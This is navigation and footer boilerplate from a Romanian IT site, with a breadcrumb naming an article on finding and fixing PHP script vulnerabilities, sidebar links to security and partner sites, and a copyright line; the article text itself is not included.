    • laptop second hand

    • Calculatoare Second Hand

    • cod voucher pc garage

  • Home
  • Tehnic
  • PHP
  • Gasirea vulnerabilitatilor in scripturi PHP si rezolvarea acestora
  • Important

    • Bit Sentinel
    • Centrul de Cercetare în Securitate Informatică din România
    • DefCamp
  • Prieteni

    • BetiT.ro
    • bijuterii handmade
    • Computerica | Resurse gratuite PC
    • Descopera.org
    • Gadgeturi si IT – Giz.ro
  • Prieteni

    • PC – Config
    • RO Hacked
    • Stiri IT

Copyright © 2009-2014 WORLDIT. Toate drepturile Rezervate.
Termeni și condiții | Contact | Licența Creative Commons